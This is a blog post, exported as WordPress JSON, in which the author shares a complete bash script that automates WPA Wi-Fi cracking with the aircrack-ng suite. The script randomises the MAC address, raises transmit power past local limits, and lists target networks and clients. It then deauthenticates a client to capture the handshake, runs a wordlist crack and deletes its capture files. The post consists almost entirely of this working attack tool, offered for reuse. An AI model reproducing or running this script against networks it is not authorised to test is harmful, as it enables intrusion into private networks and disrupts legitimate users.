{"id":50,"date":"2011-05-20T11:58:37","date_gmt":"2011-05-20T10:58:37","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=50"},"modified":"2011-07-14T11:24:21","modified_gmt":"2011-07-14T10:24:21","slug":"automated-wpa-cracking-script","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/05\/20\/automated-wpa-cracking-script\/","title":{"rendered":"Automated WPA cracking script"},"content":{"rendered":"<p>I have wrote an automated WPA cracking script (matts-wpacrack.sh). Let me know if you have any improvements.<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/>23<br \/>24<br \/>25<br \/>26<br \/>27<br \/>28<br \/>29<br \/>30<br \/>31<br \/>32<br \/>33<br \/>34<br \/>35<br \/>36<br \/>37<br \/>38<br \/>39<br \/>40<br \/>41<br \/>42<br \/>43<br \/>44<br \/>45<br \/>46<br \/>47<br \/>48<br \/>49<br \/>50<br \/>51<br \/>52<br \/>53<br \/>54<br \/>55<br \/>56<br \/>57<br \/>58<br \/>59<br \/>60<br \/>61<br \/>62<br \/>63<br \/>64<br \/>65<br \/>66<br \/>67<br \/>68<br \/>69<br \/>70<br \/>71<br \/>72<br \/>73<br \/>74<br \/>75<br \/>76<br \/>77<br \/>78<br \/>79<br \/>80<br \/>81<br \/>82<br \/>83<br \/>84<br \/>85<br \/>86<br \/>87<br \/>88<br \/>89<br \/>90<br \/>91<br \/>92<br \/>93<br \/>94<br \/>95<br \/>96<br \/>97<br \/>98<br \/>99<br \/>100<br \/>101<br \/>102<br \/>103<br \/>104<br \/>105<br \/>106<br \/>107<br \/>108<br \/>109<br \/>110<br \/>111<br \/>112<br \/>113<br \/>114<br \/>115<br \/>116<br \/>117<br \/>118<br \/>119<br \/>120<br \/>121<br \/>122<br \/>123<br \/>124<br \/>125<br \/>126<br \/>127<br \/>128<br \/>129<br \/>130<br \/>131<br \/>132<br \/>133<br \/>134<br \/>135<br \/>136<br \/>137<br \/>138<br \/>139<br \/>140<br \/><\/div><\/td><td><div class=\"bash codecolorer\"><span class=\"co0\">#!\/bin\/bash<\/span><br \/>\n<span class=\"co0\"># wpacrack.sh v.1.1<\/span><br \/>\n<span class=\"co0\"># Create by Matthew Phillips<\/span><br \/>\n<span class=\"co0\"># New versions can be downloaded from www.phillips321.co.uk<\/span><br \/>\n<span class=\"co0\">#<\/span><br \/>\n<span class=\"re2\">VERSION<\/span>=<span class=\"st0\">&quot;1.1&quot;<\/span><br \/>\n<span class=\"co0\"># This tool requires aircrack-ng tools to be installed and run as root<\/span><br \/>\n<span class=\"co0\">#<\/span><br \/>\n<span class=\"co0\"># ChangeLog....<\/span><br \/>\n<span class=\"co0\"># Version 1.1 - Randomises MAC Address on start<\/span><br \/>\n<span class=\"co0\"># Version 1.0 - First Release<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># CHECKING FOR ROOT<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"kw1\">if<\/span> <span class=\"br0\">&#91;<\/span> <span class=\"sy0\">`<\/span><span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"re1\">$USER<\/span><span class=\"sy0\">`<\/span> <span class=\"sy0\">!<\/span>= <span class=\"st0\">&quot;root&quot;<\/span> <span class=\"br0\">&#93;<\/span><br \/>\n<span class=\"kw1\">then<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE:&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: ERROR: Please run as root!&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE:&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">exit<\/span> <span class=\"nu0\">1<\/span><br \/>\n<span class=\"kw1\">fi<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># CHECKING TO SEE IF INTERFACE IS PROVIDED<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"kw1\">if<\/span> <span class=\"br0\">&#91;<\/span> <span class=\"re5\">-z<\/span> <span class=\"co1\">${1}<\/span> <span class=\"br0\">&#93;<\/span><br \/>\n<span class=\"kw1\">then<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Version number <span class=\"es3\">${VERSION}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Usage: <span class=\"es5\">`basename ${0}`<\/span> [interface] [BSSID] [channel] [client]&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Example #<span class=\"es5\">`basename ${0}`<\/span> wlan0 (everything else is optional)&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">exit<\/span> <span class=\"nu0\">1<\/span><br \/>\n<span class=\"kw1\">else<\/span><br \/>\n&nbsp; &nbsp; <span class=\"re2\">INTERFACE<\/span>=<span class=\"st0\">&quot;<span class=\"es5\">`echo &quot;${1}&quot; | cut -c 1-6`<\/span>&quot;<\/span><br \/>\n<span class=\"kw1\">fi<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># PUT WIFI IN HIGHPOWER AND MONITOR MODE AND RANDOM MAC<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\nmacchanger <span class=\"re5\">-r<\/span> <span class=\"co1\">${INTERFACE}<\/span><br \/>\niw reg <span class=\"kw1\">set<\/span> BO<br \/>\n<span class=\"kw2\">sleep<\/span> <span class=\"nu0\">3<\/span><br \/>\niwconfig <span class=\"co1\">${INTERFACE}<\/span> txpower <span class=\"nu0\">30<\/span><br \/>\n<span class=\"re2\">POWER<\/span>=<span class=\"sy0\">`<\/span>iwlist <span class=\"co1\">${INTERFACE}<\/span> txpower <span class=\"sy0\">|<\/span> <span class=\"kw2\">grep<\/span> Current <span class=\"sy0\">|<\/span> <span class=\"kw2\">tr<\/span> <span class=\"re5\">-s<\/span> <span class=\"st_h\">' '<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">cut<\/span> <span class=\"re5\">-d<\/span> <span class=\"st_h\">'('<\/span> <span class=\"re5\">-f2<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">sed<\/span> <span class=\"re5\">-e<\/span> s<span class=\"sy0\">\/<\/span><span class=\"st_h\">')'<\/span><span class=\"sy0\">\/\/`<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: <span class=\"es3\">${INTERFACE}<\/span> power set to <span class=\"es3\">${POWER}<\/span>&quot;<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Putting <span class=\"es3\">${INTERFACE}<\/span> in monitor mode&quot;<\/span><br \/>\nairmon-ng start <span class=\"co1\">${INTERFACE}<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># GET INTERFACE MAC ADDRESS<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"re2\">MACADDRESS<\/span>=<span class=\"sy0\">`<\/span><span class=\"kw2\">ifconfig<\/span> <span class=\"co1\">${INTERFACE}<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">grep<\/span> <span class=\"co1\">${INTERFACE}<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">tr<\/span> <span class=\"re5\">-s<\/span> <span class=\"st_h\">' '<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">cut<\/span> <span class=\"re5\">-d<\/span> <span class=\"st_h\">' '<\/span> <span class=\"re5\">-f5<\/span> <span class=\"sy0\">|<\/span> <span class=\"kw2\">cut<\/span> <span class=\"re5\">-c<\/span> <span class=\"nu0\">1<\/span>-<span class=\"nu0\">17<\/span><span class=\"sy0\">`<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># CHECK IF BSSID,CHANNEL &amp; TARGETNAME WERE PROVIDED<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"kw1\">if<\/span> <span class=\"br0\">&#91;<\/span> <span class=\"re5\">-z<\/span> <span class=\"co1\">${2}<\/span> <span class=\"br0\">&#93;<\/span> <span class=\"sy0\">||<\/span> <span class=\"br0\">&#91;<\/span> <span class=\"re5\">-z<\/span> <span class=\"co1\">${3}<\/span> <span class=\"br0\">&#93;<\/span>; <span class=\"kw1\">then<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\"># SHOW VISIBLE WEP NETWORKS<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Will now display all visible WPA networks&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Once you have identified the network you wish to target press Ctrl-C to exit&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-p<\/span> <span class=\"st0\">&quot;MESSAGE: Press enter to view networks&quot;<\/span><br \/>\n&nbsp; &nbsp; airodump-ng <span class=\"re5\">--encrypt<\/span> WPA <span class=\"co1\">${INTERFACE}<\/span> <span class=\"co0\"># mon0<\/span><br \/>\n<br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\"># USER INPUT DETAILS FROM AIRODUMP<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">while<\/span> <span class=\"kw2\">true<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">do<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"st0\">&quot;MESSAGE: Please enter the target BSSID here: &quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-e<\/span> BSSID<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"st0\">&quot;MESSAGE: Please enter the target channel here: &quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-e<\/span> CHANNEL<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Target BSSID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"es3\">${BSSID}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Target Channel &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"es3\">${CHANNEL}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Interface MAC Address &nbsp; : <span class=\"es3\">${MACADDRESS}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"st0\">&quot;MESSAGE: Is this information correct? (y or n): &quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-e<\/span> CONFIRM<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">case<\/span> <span class=\"re1\">$CONFIRM<\/span> <span class=\"kw1\">in<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; y<span class=\"sy0\">|<\/span>Y<span class=\"sy0\">|<\/span>YES<span class=\"sy0\">|<\/span><span class=\"kw2\">yes<\/span><span class=\"sy0\">|<\/span>Yes<span class=\"br0\">&#41;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">break<\/span> <span class=\"sy0\">;;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"sy0\">*<\/span><span class=\"br0\">&#41;<\/span> <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Please re-enter information&quot;<\/span> <span class=\"sy0\">;;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">esac<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">done<\/span><br \/>\n<span class=\"kw1\">fi<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># CHECK IF THE USER NEEDS TO FIND A CLIENT<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\">#if [ -z {4} ]; then<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\"># SHOW AP CLIENTS<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co0\">#################################################################<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Will now display all visable clients for <span class=\"es3\">${BSSID}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Once you have identified the client you wish to target press Ctrl-C to exit&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-p<\/span> <span class=\"st0\">&quot;MESSAGE: Press enter to view networks&quot;<\/span><br \/>\n&nbsp; &nbsp; airodump-ng <span class=\"re5\">-c<\/span> <span class=\"co1\">${CHANNEL}<\/span> <span class=\"re5\">--bssid<\/span> <span class=\"co1\">${BSSID}<\/span> <span class=\"co1\">${INTERFACE}<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">while<\/span> <span class=\"kw2\">true<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">do<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"st0\">&quot;MESSAGE: Please enter the target CLIENT here: &quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-e<\/span> CLIENT<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Target Client &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : <span class=\"es3\">${CLIENT}<\/span>&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">echo<\/span> <span class=\"re5\">-n<\/span> <span class=\"st0\">&quot;MESSAGE: Is this information correct? (y or n): &quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">read<\/span> <span class=\"re5\">-e<\/span> CONFIRM<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">case<\/span> <span class=\"re1\">$CONFIRM<\/span> <span class=\"kw1\">in<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; y<span class=\"sy0\">|<\/span>Y<span class=\"sy0\">|<\/span>YES<span class=\"sy0\">|<\/span><span class=\"kw2\">yes<\/span><span class=\"sy0\">|<\/span>Yes<span class=\"br0\">&#41;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">break<\/span> <span class=\"sy0\">;;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"sy0\">*<\/span><span class=\"br0\">&#41;<\/span> <span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Please re-enter information&quot;<\/span> <span class=\"sy0\">;;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">esac<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">done<\/span><br \/>\n<span class=\"co0\">#fi<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># START DEAUTH TO CAPTURE WPA HANDSHAKE<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Starting De-auth&quot;<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Once hand shake has been captured press Ctrl-C to exit&quot;<\/span><br \/>\n<span class=\"kw2\">read<\/span> <span class=\"re5\">-p<\/span> <span class=\"st0\">&quot;MESSAGE: Press enter to attempt handshake capture&quot;<\/span><br \/>\nxterm <span class=\"re5\">-e<\/span> <span class=\"st0\">&quot;sleep 1 &amp;&amp; aireplay-ng -0 20 -a <span class=\"es3\">${BSSID}<\/span> -c <span class=\"es3\">${CLIENT}<\/span> <span class=\"es3\">${INTERFACE}<\/span>&quot;<\/span> <span class=\"sy0\">&amp;<\/span><br \/>\nairodump-ng <span class=\"re5\">-c<\/span> <span class=\"co1\">${CHANNEL}<\/span> <span class=\"re5\">--bssid<\/span> <span class=\"co1\">${BSSID}<\/span> <span class=\"re5\">-w<\/span> psk <span class=\"co1\">${INTERFACE}<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># ATTEMPTING TO CRACK<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\naircrack-ng <span class=\"re5\">-w<\/span> wpa.txt <span class=\"re5\">-b<\/span> <span class=\"co1\">${BSSID}<\/span> psk<span class=\"sy0\">*<\/span>.cap <span class=\"re5\">-l<\/span> key.txt<br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># OUTPUT BSSID AND KEY<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"re2\">KEY<\/span>=<span class=\"sy0\">`<\/span><span class=\"kw2\">cat<\/span> key.txt<span class=\"sy0\">`<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Target BSSID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"es3\">${BSSID}<\/span>&quot;<\/span><br \/>\n<span class=\"kw3\">echo<\/span> <span class=\"st0\">&quot;MESSAGE: Target Key &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"es3\">${KEY}<\/span>&quot;<\/span><br \/>\n<br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\n<span class=\"co0\"># DELETE FILES CREATED DURING WEP CRACKING<\/span><br \/>\n<span class=\"co0\">#################################################################<\/span><br \/>\nairmon-ng stop mon0<br \/>\n<span class=\"kw2\">rm<\/span> psk<span class=\"sy0\">*<\/span> key.txt<br \/>\n<span class=\"kw3\">exit<\/span> <span class=\"nu0\">0<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"<p>I have wrote an automated WPA cracking script (matts-wpacrack.sh). Let me know if you have any improvements. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140#!\/bin\/bash # wpacrack.sh v.1.1 # Create by Matthew Phillips # New versions can be downloaded from www.phillips321.co.uk # VERSION=&quot;1.1&quot; # This tool requires aircrack-ng tools to be installed and run as root # # ChangeLog&#8230;. # Version 1.1 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,4],"tags":[37,36,5,25,26,23,35],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/50"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=50"}],"version-history":[{"count":7,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/50\/revisions"}],"predecessor-version":[{"id":194,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/50\/revisions\/194"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=50"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=50"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=50"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}